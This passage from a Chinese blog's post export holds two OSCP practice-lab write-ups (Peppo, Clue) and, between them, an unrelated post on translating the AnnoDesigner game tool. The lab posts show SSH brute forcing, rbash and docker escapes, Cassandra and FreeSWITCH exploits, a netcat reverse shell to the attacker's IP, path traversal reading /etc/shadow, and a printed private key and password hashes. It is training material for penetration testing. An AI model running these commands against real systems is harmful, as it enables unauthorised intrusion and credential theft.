Login page 76| /login.jsp: Login page 77| /robots.txt: Robots file 78| /admin.nsf: Lotus Domino (401 Unauthorized ) 79| /news/: Potentially interesting folder 80|_ /search/: Potentially interesting folder 81 82Nmap done: 1 IP address (1 host up) scanned in 413.78 seconds 83 84┌──(kali㉿kali)-[~] 85└─$ whatweb http://192.168.147.60:8080 86http://192.168.147.60:8080 [200 OK] ChiliProject, Cookies[_redmine_session], Country[RESERVED][ZZ], HTML5, HTTPServer[WEBrick/1.4.2 (Ruby/2.6.6/2020-03-31)], HttpOnly[_redmine_session], IP[192.168.147.60], JQuery, Redmine, Ruby[2.6.6,WEBrick/1.4.2], Script, Title[Redmine], UncommonHeaders[x-content-type-options,x-download-options,x-permitted-cross-domain-policies,referrer-policy,x-request-id], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge], X-XSS-Protection[1; mode=block] 87 88=============================================================== 89Starting gobuster in directory enumeration mode 90=============================================================== 91/newsnews (Status: 200) [Size: 5361] 92/searchsearch (Status: 200) [Size: 7933] 93/loginlogin (Status: 200) [Size: 5011] 94/projectsprojects (Status: 200) [Size: 12258] 95/usersusers (Status: 302) [Size: 150] [--\u0026gt; http://192.168.147.60:8080/login?back_url=http%3A%2F%2F192.168.147.60%3A8080%2Fusers] 96/adminadmin (Status: 302) [Size: 150] [--\u0026gt; http://192.168.147.60:8080/login?back_url=http%3A%2F%2F192.168.147.60%3A8080%2Fadmin] 97/issuesissues (Status: 200) [Size: 19698] 98/groupsgroups (Status: 302) [Size: 151] [--\u0026gt; http://192.168.147.60:8080/login?back_url=http%3A%2F%2F192.168.147.60%3A8080%2Fgroups] 99/mymy (Status: 302) [Size: 147] [--\u0026gt; http://192.168.147.60:8080/login?back_url=http%3A%2F%2F192.168.147.60%3A8080%2Fmy] 100/logoutlogout (Status: 302) [Size: 93] [--\u0026gt; http://192.168.147.60:8080/] 101/404404 (Status: 200) [Size: 459] 102/settingssettings (Status: 302) [Size: 153] [--\u0026gt; http://192.168.147.60:8080/login?back_url=http%3A%2F%2F192.168.147.60%3A8080%2Fsettings] 103/activityactivity (Status: 200) [Size: 7312] 104/500500 (Status: 200) [Size: 648] 105Progress: 24077 / 220559 (10.92%)^C 没有发现什么\nSSH密码爆破 1sudo apt install ident-user-enum 2ident-user-enum 192.168.147.60 22 113 8080 10000 3hydra -L users.txt -P users.txt ssh://192.168.147.60 Ident-user-enum 用这个软件来爆破各个端口可能存在的用户名，然后使⽤⽤⼾名=密码的形式试一下。 得到ssh的登录名和密码\n💡 ssh密码 eleanor\n登录后发现终端受限，是只读终端，能执行的命令有限，所以做逃逸\nrbash逃逸 参考 https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/ 1echo $PATH # 查看路径变量 2ed 3!/bin/bash 4export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin 得到第一个flag 提权 查看etc/paawd的时候发现提示有一封邮件 算是触发了一种管理员警告的邮件？我刚刚想要sudo -l 提权的时候发现没有权限。 发现用户是在docker组中，docker提权一下 1docker images 2docker run -v /:/mnt --rm -it redmine chroot /mnt bash 3cat root/proof.txt 得到第二个flag。\n总结 入侵路径示意图 flowchart TD %% 资产列表 A[Kali攻击机 192.168.45.182] B[靶机 192.168.147.60] C[SSH 密码爆破] D[rbash 逃逸] E[Docker 逃逸] %% 路径关系 A--\u003e|扫描|B B--\u003eC C--\u003eD D--\u003eE %% 线型：---（实线）、-.-\u003e（虚线）、==\u003e（粗箭头） %% --\u003e|是|：带条件文本的连接 %% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点() %% 样式定义 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px; classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; %% 线型与颜色方案（亮色/暗色通用） linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; %% 应用样式 class A attack; class B public; class C,D,E internal;入侵时间表 gantt title 攻击时间表 dateFormat YYYY-MM-DD HH:mm axisFormat %H:%M section 侦察阶段 目标扫描 :a1, 2025-10-15 15:13, 2025-10-15 15:40 漏洞识别 :a2, after a1, 15m section 攻击阶段 初始访问 :b1, after a2, 2025-10-15 16:40 权限提升 :crit,b2, after b1, 5m section 后渗透阶段 数据窃取 :c1, after b2, 5m补充知识点-Docker提权 这个命令让你获得 root 权限的原因在于 Docker 的特权操作和文件系统挂载的结合使用。以下是详细解释：\n🔧 命令分解： docker run -v /:/mnt --rm -it redmine chroot /mnt bash ​​docker run​​ 启动一个新容器 ​​-v /:/mnt​​ ​​关键操作​​：将宿主机的整个根文件系统 (/) 挂载到容器的 /mnt目录 这意味着容器可以直接访问宿主机的所有文件 ​​--rm​​ 容器退出后自动删除 ​​-it​​ 分配交互式终端 ​​redmine​​ 使用的镜像（这里可以是任意镜像） ​​chroot /mnt bash​​ ​​核心逃逸​​：在容器内执行 chroot命令 将根目录切换到宿主机的文件系统 (/mnt) 然后启动 bashshell 🚀 为什么能获得 root 权限： ​​Docker 组的特权​​ 你的用户属于 docker组（groups=...999(docker)） Docker 组成员可以运行容器，​​默认以 root 身份执行容器内命令​​ ​​文件系统挂载​​ -v /:/mnt使容器能访问宿主机的完整文件系统 ​​chroot 切换​​ chroot /mnt将工作环境切换到宿主机的文件系统 此时你在容器内执行的命令，实际是在操作宿主机 ​​权限继承​​ 容器内的 root 用户映射到宿主机的 root 用户 当你在 chroot 环境中执行命令时，拥有宿主机的 root 权限 ⚠️ 安全风险： 这种操作极其危险，因为：\n完全绕过系统权限控制 可以任意修改系统文件 能访问所有用户数据 相当于直接获得宿主机 root 权限 🔒 系统管理员应该： ​​限制 docker 组权限​​： sudo usermod -G eleanor -a # 从docker组移除用户 ​​启用用户命名空间隔离​​： # /etc/docker/daemon.json { \u0026#34;userns-remap\u0026#34;: \u0026#34;default\u0026#34; } ​​限制危险挂载​​： docker run --cap-drop=ALL --security-opt no-new-privileges ... 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-10-15T15:08:22Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-peppo-wp/","title":"OSCP官方靶场 Peppo WP"},{"content":"最近沉迷玩纪元1800，当总督各种规划城市，用到一个布局设计软件AnnoDesigner，可惜没有汉化看起来比较难受，所以尝试汉化翻译一下。汉化文件在文末，懒得看我啰嗦的直接跳文末下载替换就行。\n找到语言相关配置文件 这个软件一开始只有这几个语言选项，没有中文\n从release下载的文件夹中发现json文件，疑似是语言的配置文件。\n提取并翻译 用AI写了个脚本\n1import json 2import pandas as pd 3 4# 读取JSON文件 5with open(\u0026#39;presets.json\u0026#39;, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: 6 data = json.load(f) 7 8# 准备存储提取的数据 9extracted_data = [] 10 11# 遍历所有建筑 12for building in data[\u0026#39;Buildings\u0026#39;]: 13 if \u0026#39;Localization\u0026#39; in building and building[\u0026#39;Localization\u0026#39;].get(\u0026#39;eng\u0026#39;): 14 item = { 15 \u0026#39;Header\u0026#39;: building.get(\u0026#39;Header\u0026#39;, \u0026#39;\u0026#39;), 16 \u0026#39;Faction\u0026#39;: building.get(\u0026#39;Faction\u0026#39;, \u0026#39;\u0026#39;), 17 \u0026#39;Group\u0026#39;: building.get(\u0026#39;Group\u0026#39;, \u0026#39;\u0026#39;), 18 \u0026#39;Identifier\u0026#39;: building.get(\u0026#39;Identifier\u0026#39;, \u0026#39;\u0026#39;), 19 \u0026#39;IconFileName\u0026#39;: building.get(\u0026#39;IconFileName\u0026#39;, \u0026#39;\u0026#39;), 20 \u0026#39;English_Name\u0026#39;: building[\u0026#39;Localization\u0026#39;].get(\u0026#39;eng\u0026#39;, \u0026#39;\u0026#39;) 21 } 22 extracted_data.append(item) 23 24# 创建DataFrame并保存为CSV 25df = pd.DataFrame(extracted_data) 26df.to_csv(\u0026#39;building_icons.csv\u0026#39;, index=False, encoding=\u0026#39;utf-8-sig\u0026#39;) 27 28# 打印预览 29print(\u0026#34;已提取数据并保存到 building_icons.csv\u0026#34;) 30print(\u0026#34;\\n数据预览:\u0026#34;) 31print(df.head()) 这是提取另一个文件的\n1import json 2import csv 3 4def extract_english_translations(): 5 # 读取翻译文件 6 with open(\u0026#39;treeLocalization.json\u0026#39;, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: 7 data = json.load(f) 8 9 # 查找英文语言部分 10 translations = [] 11 for lang in data[\u0026#39;languages\u0026#39;]: 12 if lang[\u0026#39;languageCode\u0026#39;] == \u0026#39;eng\u0026#39;: 13 translations = lang[\u0026#39;translations\u0026#39;] 14 break 15 16 # 保存为CSV格式 17 with open(\u0026#39;english_translations.csv\u0026#39;, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;, newline=\u0026#39;\u0026#39;) as f: 18 writer = csv.writer(f) 19 # 写入表头 20 writer.writerow([\u0026#39;Key\u0026#39;, \u0026#39;English\u0026#39;]) 21 # 写入翻译数据 22 for item in translations: 23 writer.writerow([item[\u0026#39;key\u0026#39;], item[\u0026#39;value\u0026#39;]]) 24 25 print(f\u0026#39;提取了 {len(translations)} 个英文翻译到 english_translations.csv\u0026#39;) 26 return translations 27 28if __name__ == \u0026#39;__main__\u0026#39;: 29 extract_english_translations() 尝试替换 一开始还尝试用AI翻译，后来实在是太多了，AI老是思考耽误时间，最后还是充了个有道会员翻译了一下，非常快速。\n用WPS表格打开csv文件比较好直接粘贴，粘贴后检查表格翻译是否对应，因为我只玩了1800，但是这个软件还包括其他的几个系列，所以我也不确定翻译是否正确，总之先用着机翻的吧。WPS保存后记得用VScode打开，重新用编码GB2312打开，再改为用UTF-8保存。\n然后又用AI写两个脚本，把汉化的内容模仿原来的json文件的形式补充回去。\n1import json 2import pandas as pd 3 4def update_presets(): 5 # 读取建筑翻译映射 6 df = pd.read_csv(\u0026#39;building_icons.csv\u0026#39;) 7 translations = dict(zip(df[\u0026#39;English_Name\u0026#39;], df[\u0026#39;Chinese_Name\u0026#39;])) 8 9 # 读取 presets.json 10 with open(\u0026#39;presets.json\u0026#39;, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: 11 data = json.load(f) 12 13 # 遍历并更新每个建筑的本地化 14 updated = 0 15 for building in data[\u0026#39;Buildings\u0026#39;]: 16 if \u0026#39;Localization\u0026#39; in building: 17 # 根据英文名查找中文翻译 18 eng_name = building[\u0026#39;Localization\u0026#39;].get(\u0026#39;eng\u0026#39;) 19 if eng_name and eng_name in translations: 20 # 添加中文翻译 21 building[\u0026#39;Localization\u0026#39;][\u0026#39;zh\u0026#39;] = translations[eng_name] 22 updated += 1 23 24 # 保存更新后的文件 25 with open(\u0026#39;presets.json\u0026#39;, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: 26 json.dump(data, f, ensure_ascii=False, indent=2) 27 28 print(f\u0026#34;Successfully updated {updated} Chinese names in presets.json\u0026#34;) 29 30if __name__ == \u0026#34;__main__\u0026#34;: 31 try: 32 update_presets() 33 except Exception as e: 34 print(f\u0026#34;Error saving file: {str(e)}\u0026#34;) 1import json 2import pandas as pd 3 4def create_chinese_translations(): 5 # 读取CSV文件 6 df = pd.read_csv(\u0026#39;english_translations.csv\u0026#39;) 7 8 # 创建中文翻译数据结构 9 chinese_lang = { 10 \u0026#34;languageCode\u0026#34;: \u0026#34;zh\u0026#34;, 11 \u0026#34;language\u0026#34;: \u0026#34;简体中文\u0026#34;, 12 \u0026#34;translations\u0026#34;: [] 13 } 14 15 # 遍历CSV中的每一行,生成翻译条目 16 for _, row in df.iterrows(): 17 if pd.notna(row[\u0026#39;Chinese\u0026#39;]): # 只添加有中文翻译的条目 18 translation = { 19 \u0026#34;key\u0026#34;: row[\u0026#39;Key\u0026#39;], 20 \u0026#34;value\u0026#34;: row[\u0026#39;Chinese\u0026#39;] 21 } 22 chinese_lang[\u0026#39;translations\u0026#39;].append(translation) 23 24 # 读取原始treeLocalization.json 25 with open(\u0026#39;treeLocalization.json\u0026#39;, \u0026#39;r\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: 26 tree_data = json.load(f) 27 28 # 添加中文语言到languages列表 29 tree_data[\u0026#39;languages\u0026#39;].append(chinese_lang) 30 31 # 保存更新后的文件 32 with open(\u0026#39;treeLocalization.json\u0026#39;, \u0026#39;w\u0026#39;, encoding=\u0026#39;utf-8\u0026#39;) as f: 33 json.dump(tree_data, f, ensure_ascii=False, indent=4) 34 35 print(f\u0026#39;已添加 {len(chinese_lang[\u0026#34;translations\u0026#34;])} 条中文翻译\u0026#39;) 36 37if __name__ == \u0026#39;__main__\u0026#39;: 38 create_chinese_translations() 发现语言选项已经编译到exe中 翻译好后打开发现还是没有中文选项，找了一下软件配置文件，似乎语言选择的键值没有写再配置文件中，那应该就是直接编码在exe中了。\n用IDA打开查了一下确实。\n翻了一下作者的源码，发现git仓库是有sln文件的，顺利的话clone下来，补充中文的语言选择选项，重新编译一下就行。\n安装一下编译必要的组件\n找到语言选项\n添加中文选项\n把中文的code改统一，按照作者这个语言文件风格的code方式应该是chs。\n翻到了界面语言的翻译选项，顺手翻译一下\n但是重新编译发现失败了\n在代码里看到作者给的一个连接\n好像已经有人贡献过中文翻译了，但是为什么不合并呢，怎么不发布中文版呢？\n最后看到一段生成语言code的代码，但是我在源码里面没找到再哪里改，这也许是失败的原因。\n英文变eeng，中文变英文 编译失败没事，还有一招头天换日。\n最后分享一下我机翻的语言替换文件，下载好后直接丢文件夹下替换就行。只简单校对了一下机翻的内容，保证Anno1800的翻译基本能看，如果有错误的自行用记事本之类的软件打开json文件搜索修改就可。其他几个纪元的系列还没玩过，不知道机翻的含义对不对，如果不对就自己改一下吧，也欢迎在评论区分享你的汉化文件。\n我用夸克网盘给你分享了「AnnoDesigner汉化」，点击链接或复制整段内容，打开「夸克APP」即可获取。 筷莱旻潆鱪麯麺夺郝 /~e25c38IeIg~:/ 链接：https://pan.quark.cn/s/e8385005d590 这是我用软件画的住宅布局，我觉得用起来还不错\n","date":"2025-09-16T11:24:55Z","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250915100922240.png","permalink":"/post/%E7%BA%AA%E5%85%831800%E5%B8%83%E5%B1%80%E8%AE%BE%E8%AE%A1%E8%BD%AF%E4%BB%B6annodesigner%E6%B1%89%E5%8C%96%E6%96%B9%E6%B3%95/","title":"纪元1800布局设计软件AnnoDesigner汉化方法"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n官网打开靶场\n信息收集 1# Kali攻击机地址 2192.168.45.187 3# 靶机地址 4192.168.133.240 扫描端口和目录 1# 设置MTU 2sudo ip link set dev tun0 mtu 1250 3ip link show tun0 4# 扫描端口 5ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.133.240 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) 6echo $ports 7# 扫描服务 8sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.133.240 9sudo nmap --script=vuln -p$ports -Pn 192.168.133.240 10# 扫描框架 11whatweb http://192.168.133.240:3000/ 12# 扫描目录 13gobuster dir -e -u http://192.168.133.240:3000 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -t 25 --exclude-length 3837 直接扫目录会因为长度报错，修改了一下命令 扫描结果如下：\n1┌──(kali㉿kali)-[~] 2└─$ echo $ports 322,80,139,445,3000 4 5┌──(kali㉿kali)-[~] 6└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.133.240 7Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 03:47 EDT 8Nmap scan report for 192.168.133.240 9Host is up (0.20s latency). 10 11PORT STATE SERVICE VERSION 1222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 13| ssh-hostkey: 14| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA) 15| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA) 16|_ 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519) 1780/tcp open http Apache httpd 2.4.38 18|_http-title: 403 Forbidden 19|_http-server-header: Apache/2.4.38 (Debian) 20139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 21445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP) 223000/tcp open http Thin httpd 23|_http-title: Cassandra Web 24|_http-server-header: thin 25|_http-trane-info: Problem with XML parsing of /evox/about 26Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port 27Device type: general purpose|router 28Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), MikroTik RouterOS 7.X (97%) 29OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0 30Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Linux 5.0 - 5.14 (97%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (97%), Linux 2.6.32 - 3.13 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.14 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 (91%), Linux 2.6.32 - 3.10 (91%), Linux 4.19 - 5.15 (91%) 31No exact OS matches for host (test conditions non-ideal). 32Service Info: Hosts: 127.0.0.1, CLUE; OS: Linux; CPE: cpe:/o:linux:linux_kernel 33 34Host script results: 35| smb-security-mode: 36| account_used: guest 37| authentication_level: user 38| challenge_response: supported 39|_ message_signing: disabled (dangerous, but default) 40| smb-os-discovery: 41| OS: Windows 6.1 (Samba 4.9.5-Debian) 42| Computer name: clue 43| NetBIOS computer name: CLUE\\x00 44| Domain name: pg 45| FQDN: clue.pg 46|_ System time: 2025-08-22T03:47:55-04:00 47| smb2-security-mode: 48| 3:1:1: 49|_ Message signing enabled but not required 50| smb2-time: 51| date: 2025-08-22T07:47:54 52|_ start_date: N/A 53|_clock-skew: mean: 1h20m03s, deviation: 2h18m40s, median: 0s 54 55OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 56Nmap done: 1 IP address (1 host up) scanned in 84.87 seconds 57 58┌──(kali㉿kali)-[~] 59└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.133.240 60Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-22 03:50 EDT 61Nmap scan report for 192.168.133.240 62Host is up (0.27s latency). 63 64PORT STATE SERVICE 6522/tcp open ssh 6680/tcp open http 67|_http-csrf: Couldn\u0026#39;t find any CSRF vulnerabilities.\u0026#39; 68|_http-dombased-xss: Couldn\u0026#39;t find any DOM based XSS. 69|_http-stored-xss: Couldn\u0026#39;t find any stored XSS vulnerabilities. 70139/tcp open netbios-ssn 71445/tcp open microsoft-ds 723000/tcp open ppp 73 74Host script results: 75| smb-vuln-regsvc-dos: 76| VULNERABLE: 77| Service regsvc in Microsoft Windows systems vulnerable to denial of service 78| State: VULNERABLE 79| The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference 80| pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes 81| while working on smb-enum-sessions. 82|_ 83|_smb-vuln-ms10-061: false 84|_smb-vuln-ms10-054: false 85 86Nmap done: 1 IP address (1 host up) scanned in 119.91 seconds 87 88┌──(kali㉿kali)-[~] 89└─$ whatweb http://192.168.133.240:3000/ 90http://192.168.133.240:3000/ [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[thin], IP[192.168.133.240], Script, Title[Cassandra Web], X-UA-Compatible[IE=edge] Cassandra 远程文件读取漏洞 这里Nmap的扫描结果提示了打开80端口提示forbiden，打开3000端口是一个数据库管理的界面Cassandra Web。然后139和445端口是smb协议的端口，还扫出来了一些基本信息，smb协议有很多漏洞，但是这个扫描的结果也提示了 smb-vuln-ms10-061 和 smb-vuln-ms10-054这两个最好用的漏洞不存在。扫描3000端口的目录没有发现有用的信息。\n搜索3000端口对应的框架是否有漏洞，发现一个远程文件读取漏洞。\n1searchsploit Cassandra 2searchsploit -m linux/webapps/49362.py 1python 49362.py 192.168.133.240 /etc/passwd 2python 49362.py 192.168.133.240 /proc/self/cmdline 3python 49362.py 192.168.133.240 /etc/ssh/sshd_config 用户密码 cassie SecondBiteTheApple330\n但是ssh登录失败，也不是另一个用户的密码，还要继续搜索其他的配置文件。 freeswitch命令执行漏洞 官方完整的扫描中是存在8021端口的，这里是扫描漏掉了，所以最好还是用官方给的web kali扫描全部的端口一次，获得最全的端口。一下小节是官方给的Workthrough中的命令\n1# 让我们使用 `smbclient` 来检查一下。 2smbclient -N -L 192.168.133.240 3# `backup` 分享很有趣，让我们登录看看里面有什么 4smbclient -N //192.168.133.240/backup 5# 目录名称 6curl -I http://192.168.133.240/backup/freeswitch 7curl -I http:/192.168.133.240/backup/freeswitch/etc 8# 后面官方尝试了上传文件，但是失败，密码错误 9mkdir backup 10sudo mount -t cifs //192.168.133.240/backup backup/ -o guest 11cd backup/ 12# 挂载目录后找密码 13find . -type f -name \u0026#34;*.xml\u0026#34; -exec grep -nH password {} + | wc -l 14find . -type f -name \u0026#34;*.xml\u0026#34; -exec grep -nH password {} + | grep socket 挂上了，但是找到的是默认密码，搜索最新的配置文件会存在那个在哪里。到下面这个网站找到密码会存放在哪里的配置文件里。 https://developer.signalwire.com/freeswitch/FreeSWITCH-Explained/Configuration/Default-Configuration_6587388/#confautoload_configs 其实相对的只要把本地目录换远端目录就行，远端目录用的一定是现在在用的密码。\n1python 49362.py 192.168.133.240 /etc/freeswitch/autoload_configs/event_socket.conf.xml 端口和密码 8021 StrongClueConEight021\n1searchsploit freeswitch 2searchsploit -m windows/remote/47799.txt 3mv 47799.txt 47799.py 4sed -i -E \u0026#34;s/ClueCon/StrongClueConEight021/g\u0026#34; 47799.py 5python 47799.py 192.168.133.240 whoami 6python 47799.py 192.168.133.240 ls 7python 47799.py 192.168.133.240 \u0026#34;ls /home\u0026#34; 反弹Shell 在cassie文件夹下找到一个id_rsa密钥，但是freeswitch账户没法读，现在可以执行命令的话，把shell弹回来再说。\n1rlwrap -cAr nc -nlvp 3000 2python 47799.py 192.168.133.240 \u0026#34;nc -nv 192.168.45.187 3000 -e /bin/bash\u0026#34; 3python3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 现在就可以用之前ssh登录失败的cassise账户直接su切换，因为ssh配置文件里写了只允许root和anthony账户登录，但是这两个我们又不知道密码。 这个下面的id_rsa利用失败，不知道是谁的ssh密钥文件，尝试了两个账户都失败。然后发现cassise用户可以用sudo的权限有/usr/local/bin/cassandra-web 内网信息收集 1# 简单来说，这个命令就是用指定的配置启动了 Cassandra Web 管理工具，让用户可以通过 Web 界面管理 Cassandra 数据库 2# `cassandra - web`工具将以指定的用户名和密码启动，并监听在`0.0.0.0:4444`上，允许远程连接访问其 Web 界面来管理 Cassandra 数据库 3sudo /usr/local/bin/cassandra-web -B 0.0.0.0:4444 -u cassie -p SecondBiteTheApple330 4 5 6# 另一个shell运行下面命令 7# 读取敏感信息 8curl --path-as-is localhost:4444/../../../../../../../../etc/shadow 9curl --path-as-is localhost:4444/../../../../../../../../home/anthony/.bash_history 10curl --path-as-is localhost:4444/../../../../../../../../home/anthony/.ssh/id_rsa 这样就能得到的密钥文件了，而且这个密钥文件还放到了root文件夹下，也就是说能直接用这个密钥登录root。\n1# 得到密码文件，但是这个长度一般是爆破不开的 2cassie:$6$/WeFDwP1CNIN34/z$9woKSLSZhgHw1mX3ou90wnR.i5LHEfeyfHbxu7nYmaZILVrbhHrSeHNGqV0WesuQWGIL7DHEwHKOLK6UX79DI0:19209:0:99999:7 3freeswitch:!:19209 4 5anthony:$6$01NV0gAhVLOnUHb0$byLv3N95fqVvhut9rbsrYOVzi8QseWfkFl7.VDQ.26a.0IkEVR2TDXoTv/KCMLjUOQZMMpkTUdC3WIyqSWQ.Y1:19209:0:99999:7 6# 得到密钥文件 7-----BEGIN OPENSSH PRIVATE KEY----- 8b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn 9NhAAAAAwEAAQAAAQEAw59iC+ySJ9F/xWp8QVkvBva2nCFikZ0VT7hkhtAxujRRqKjhLKJe 10d19FBjwkeSg+PevKIzrBVr0JQuEPJ1C9NCxRsp91xECMK3hGh/DBdfh1FrQACtS4oOdzdM 11jWyB00P1JPdEM4ojwzPu0CcduuV0kVJDndtsDqAcLJr+Ls8zYo376zCyJuCCBonPVitr2m 12B6KWILv/ajKwbgrNMZpQb8prHL3lRIVabjaSv0bITx1KMeyaya+K+Dz84Vu8uHNFJO0rhq 13gBAGtUgBJNJWa9EZtwws9PtsLIOzyZYrQTOTq4+q/FFpAKfbsNdqUe445FkvPmryyx7If/ 14DaMoSYSPhwAAA8gc9JxpHPScaQAAAAdzc2gtcnNhAAABAQDDn2IL7JIn0X/FanxBWS8G9r 15acIWKRnRVPuGSG0DG6NFGoqOEsol53X0UGPCR5KD4968ojOsFWvQlC4Q8nUL00LFGyn3XE 16QIwreEaH8MF1+HUWtAAK1Lig53N0yNbIHTQ/Uk90QziiPDM+7QJx265XSRUkOd22wOoBws 17mv4uzzNijfvrMLIm4IIGic9WK2vaYHopYgu/9qMrBuCs0xmlBvymscveVEhVpuNpK/RshP 18HUox7JrJr4r4PPzhW7y4c0Uk7SuGqAEAa1SAEk0lZr0Rm3DCz0+2wsg7PJlitBM5Orj6r8 19UWkAp9uw12pR7jjkWS8+avLLHsh/8NoyhJhI+HAAAAAwEAAQAAAQBjswJsY1il9I7zFW9Y 20etSN7wVok1dCMVXgOHD7iHYfmXSYyeFhNyuAGUz7fYF1Qj5enqJ5zAMnataigEOR3QNg6M 21mGiOCjceY+bWE8/UYMEuHR/VEcNAgY8X0VYxqcCM5NC201KuFdReM0SeT6FGVJVRTyTo+i 22CbX5ycWy36u109ncxnDrxJvvb7xROxQ/dCrusF2uVuejUtI4uX1eeqZy3Rb3GPVI4Ttq0+ 230hu6jNH4YCYU3SGdwTDz/UJIh9/10OJYsuKcDPBlYwT7mw2QmES3IACPpW8KZAigSLM4fG 24Y2Ej3uwX8g6pku6P6ecgwmE2jYPP4c/TMU7TLuSAT9TpAAAAgG46HP7WIX+Hjdjuxa2/2C 25gX/VSpkzFcdARj51oG4bgXW33pkoXWHvt/iIz8ahHqZB4dniCjHVzjm2hiXwbUvvnKMrCG 26krIAfZcUP7Ng/pb1wmqz14lNwuhj9WUhoVJFgYk14knZhC2v2dPdZ8BZ3dqBnfQl0IfR9b 27yyQzy+CLBRAAAAgQD7g2V+1vlb8MEyIhQJsSxPGA8Ge05HJDKmaiwC2o+L3Er1dlktm/Ys 28kBW5hWiVwWoeCUAmUcNgFHMFs5nIZnWBwUhgukrdGu3xXpipp9uyeYuuE0/jGob5SFHXvU 29DEaXqE8Q9K14vb9by1RZaxWEMK6byndDNswtz9AeEwnCG0OwAAAIEAxxy/IMPfT3PUoknN 30Q2N8D2WlFEYh0avw/VlqUiGTJE8K6lbzu6M0nxv+OI0i1BVR1zrd28BYphDOsAy6kZNBTU 31iw4liAQFFhimnpld+7/8EBW1Oti8ZH5Mx8RdsxYtzBlC2uDyblKrG030Nk0EHNpcG6kRVj 324oGMJpv1aeQnWSUAAAAMYW50aG9ueUBjbHVlAQIDBAUGBw== 33-----END OPENSSH PRIVATE KEY----- 提权root 然后在kali中复制这个密钥，然后直接用密钥登录即可。\n1cat \u0026gt; id_rsa 2chmod 600 id_rsa 3ssh -i id_rsa root@192.168.133.240 这里不知道为什么只能root登录而不是Anthony登录，按道理来说应该都能登录的。 找到提权后的flag 这里提示smb服务开启，但是没什么用 实在是找不到第一个local那个flag在哪里，看了一下官方提示 直接find找吧，OSCP的flag命名很规范，直接找名字就行。\n1find / -type f -name \u0026#34;local.txt\u0026#34; -print 2\u0026gt;/dev/null 2cat /var/lib/freeswitch/local.txt 总结 入侵路径示意图 flowchart TD %% 资产列表 A[Kali攻击机 192.168.45.187] B[靶机 192.168.133.240] C[cassie账户密码] D[freeswitch的webshell] E[切cassie账户] F[root密钥] %% 路径关系 A--\u003e|扫描|B B--\u003e|Cassandra远程文件读取漏洞|C B--\u003e|freeswitch命令执行漏洞|D D--\u003eE C--\u003eE E--\u003e|Cassandra本地文件读取|F %% 线型：---（实线）、-.-\u003e（虚线）、==\u003e（粗箭头） %% --\u003e|是|：带条件文本的连接 %% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点() %% 样式定义 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px; classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; %% 线型与颜色方案（亮色/暗色通用） linkStyle default 